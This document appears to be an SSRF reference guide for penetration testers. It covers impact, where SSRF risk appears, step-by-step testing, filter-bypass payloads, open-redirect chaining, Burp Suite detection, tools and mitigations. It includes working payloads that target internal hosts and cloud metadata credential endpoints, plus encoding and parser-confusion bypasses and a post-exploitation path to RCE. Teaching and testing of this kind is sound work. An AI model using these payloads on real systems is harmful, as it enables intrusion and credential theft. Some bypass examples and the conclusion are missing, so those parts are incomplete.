SSRF – Server-Side Request Forgery
Complete Reference Guide
1. What Is SSRF?
Server-Side Request Forgery is a vulnerability where an attacker tricks the server into making HTTP requests to a target the attacker can't reach directly.
The vulnerable server acts as an unintended proxy — without authentication, from a trusted position on the network.
SSRF is in the OWASP Top 10 (A10:2021) — particularly impactful in cloud environments.
2. Impact
A successful SSRF attack can lead to:
- Unauthorized access to internal systems and data
- Access to other back-end systems the application communicates with
- Arbitrary command execution (via a vulnerable internal service)
- Attacks on external systems that appear to come from the organization itself
| Attack vector | Example |
|---|---|
| Exploring the internal network | http://192.168.1.1/admin — reaching internal routers/services |
| Stealing cloud metadata | http://169.254.169.254/latest/meta-data/ — AWS/GCP/Azure credentials |
| Attacking back-end systems | Databases, Elasticsearch, Redis without authentication |
| RCE via SSRF | Via a vulnerable internal service (e.g. Jenkins, Struts, Redis) |
| Pivoting to external attacks | An attack on a third party appears to come from the victim company |
3. Recognizing It — Where Does SSRF Risk Live?
Look for functionality where the server fetches a URL or host based on user input.
Clear Signals
| Function | Example parameter |
|---|---|
| URL preview / link unfurling | ?url=https://example.com |
| Webhook configuration | callback_url=http://... |
| PDF / screenshot generator | ?page=http://... |
| File import from an external source | ?file=http://... |
| Server-side image resizing | ?image=http://... |
| SSO / OAuth redirect | redirect_uri=http://... |
| XML/JSON with an external reference | XXE-like constructs |
Less Obvious Vectors
- The
Refererheader - The
Hostheader - JSON body fields:
"src","uri","endpoint","target","dest","path" - XML entities (XXE → SSRF combination)
- GraphQL queries with external URL fields
4. Testing — Step by Step
Step 1 — Establishing a Baseline (Out-of-Band)
Send a request to a server you control:
POST /product/stock HTTP/1.1
Content-Type: application/x-www-form-urlencoded
stockApi=http://your-id.oastify.com
If you get a DNS lookup or HTTP request in Burp Collaborator → SSRF confirmed.
Step 2 — Testing Internal Hosts
stockApi=http://127.0.0.1/
stockApi=http://localhost/
stockApi=http://192.168.0.1/
stockApi=http://10.0.0.1/
stockApi=http://172.16.0.1/
Look for differences in the response: - A different HTTP status code - A different response length - An error message with internal information
Step 3 — Looking for Admin Interfaces
http://127.0.0.1/admin
http://127.0.0.1:8080/admin
http://192.168.0.X:8080/admin ← IP-range sweep via Intruder
Step 4 — Cloud Metadata Endpoints
# AWS
http://169.254.169.254/latest/meta-data/
http://169.254.169.254/latest/meta-data/iam/security-credentials/
# Azure
http://169.254.169.254/metadata/instance?api-version=2021-02-01
# GCP
http://metadata.google.internal/computeMetadata/v1/
Step 5 — Scanning Ports via Intruder
If you don't know which port an internal service is running on:
Payload type: Numbers → From: 1, To: 65535, Step: 1 (Or use a top-ports list for faster results)
Detection via response differences: - Port open → response with content or a specific error message - Port closed → connection refused → a different error code or timeout
Commonly Used Internal Ports
| Port | Service |
|---|---|
8080 / 8443 |
Tomcat, Jenkins, internal web apps |
8888 |
Jupyter, various admin UIs |
9200 / 9300 |
Elasticsearch |
6379 |
Redis |
5432 |
PostgreSQL |
3306 |
MySQL |
27017 |
MongoDB |
4848 |
GlassFish admin |
8500 |
Consul |
2375 |
Docker API (unsecured) |
10250 |
Kubernetes kubelet |
Step 6 — Blind SSRF (No Output in the Response)
No visible result? Test via out-of-band callbacks:
- Burp Collaborator — registers DNS/HTTP callbacks (Pro)
- interactsh (
interact.sh) — open-source alternative
If the server makes the request but you see nothing in the response → Blind SSRF confirmed.
Step 7 — SSRF via Headers
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
Client-IP: 127.0.0.1
Referer: http://169.254.169.254/
Host: internal-service.local
Some applications trust these headers and make internal requests based on them.
5. Bypassing Filters
5a. Blacklist-Based Filters
Blocking 127.0.0.1 or localhost? Try:
# Decimal / octal encoding
http://2130706433/ ← 127.0.0.1 in decimal
http://0177.0.0.1/ ← octal
# IPv6
http://[::1]/
http://[::ffff:127.0.0.1]/
# Short notation
http://127.1/
http://0/
# DNS rebinding
http://127.0.0.1.nip.io/
http://spoofed.domain → 127.0.0.1
# HTTPS instead of HTTP
https://127.0.0.1/
# URL encoding
http://127.0.0%2E1/
http://%6c%6f%63%61%6c%68%6f%73%74/ ← localhost encoded
5b. Whitelist-Based Filters
The application requires the URL to contain a certain allowed host. Exploit inconsistencies in URL parsing:
@ — injecting credentials
The @ separates credentials from the hostname. The filter sees expected-host but the request goes to evil-host.
# — abusing the URL fragment
Everything after # is a fragment — never sent to the server. The filter approves it, but the server only talks to evil-host.
Subdomain spoofing — DNS hierarchy
The filter finds expected-host in the URL. But you control evil-host.com and determine the DNS resolution yourself.
URL encoding — confusing the parser
Double encoding for servers that decode recursively:
The validation code and the HTTP client sometimes decode differently → bypass.
Combinations
https://expected-host@evil-host#.expected-host
https://expected-host%40evil-host
http://expected-host:80%40evil-host/
5c. Open Redirect Chaining
If an allowed domain has an open redirect, you can fully bypass SSRF filters.
Open redirect on an allowed domain:
https://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://evil-user.net
→ HTTP 302 Location: http://evil-user.net
SSRF exploit via the open redirect:
POST /product/stock HTTP/1.0
Content-Type: application/x-www-form-urlencoded
stockApi=http://weliketoshop.net/product/nextProduct?currentProductId=6&path=http://192.168.0.68/admin
How it works:
1. The app validates the URL
→ "weliketoshop.net" is on the whitelist ✓
2. The app makes a request to weliketoshop.net/product/nextProduct?...
3. weliketoshop.net responds:
HTTP 302 → Location: http://192.168.0.68/admin
4. The HTTP client automatically follows the redirect
5. The request reaches: http://192.168.0.68/admin ← SSRF succeeded
The whitelist protects the input — not what happens after a redirect.
6. What to Do After Confirming SSRF?
SSRF confirmed
│
├─ Map out the internal network (IP ranges, ports)
├─ Fetch /admin endpoints
├─ Cloud metadata → steal IAM credentials
├─ Call internal APIs without authentication
├─ Read sensitive configuration files
└─ Pivot to RCE (Jenkins, Struts, Redis EVAL, ...)
7. Automatic Detection — Burp Suite
| Feature | Community | Pro |
|---|---|---|
| Active scanner | ✗ | ✓ |
| Burp Collaborator | ✗ | ✓ |
| Blind SSRF detection | ✗ | Partial ✓ |
What Burp DOES Detect
- Basic SSRF via Collaborator payloads in URL parameters
- Out-of-band DNS/HTTP callbacks
- Some blind SSRF via active scan
What Burp Does NOT Detect Automatically
| Blind spot | Reason |
|---|---|
| SSRF in unexpected parameters | "endpoint", "target" aren't recognized as a URL |
| Header-based SSRF | Referer, X-Forwarded-For aren't always tested |
| Blocklist bypasses | Decimal encoding, IPv6, DNS rebinding not automatic |
| Chained SSRF via an open redirect | Too complex for automatic detection |
| Nested URL fields in XML/JSON | Depends on the quality of body parsing |
Conclusion:
8. Tools
| Tool | Use |
|---|---|
| Burp Suite Pro | Collaborator for blind SSRF, Intruder for IP/port sweeps |
| ffuf / wfuzz | Brute-forcing internal IP ranges and ports |
| interactsh | Open-source out-of-band callback server |
| nip.io / sslip.io | DNS-based bypass helpers |
| Collaborator Everywhere | Burp extension — injects Collaborator payloads into every header |
9. Mitigations
- An allowlist of permitted URLs/domains — never a blocklist as primary defense
- Never make requests based on user input without strict validation
- Network segmentation — make internal services unreachable from the app server
- Block cloud metadata endpoints at the infrastructure level
- Don't automatically follow HTTP redirects in server-side HTTP clients
- Filter response content — internal IP addresses or hostnames must not leak
- Firewall rules — the app server may only reach whitelisted external hosts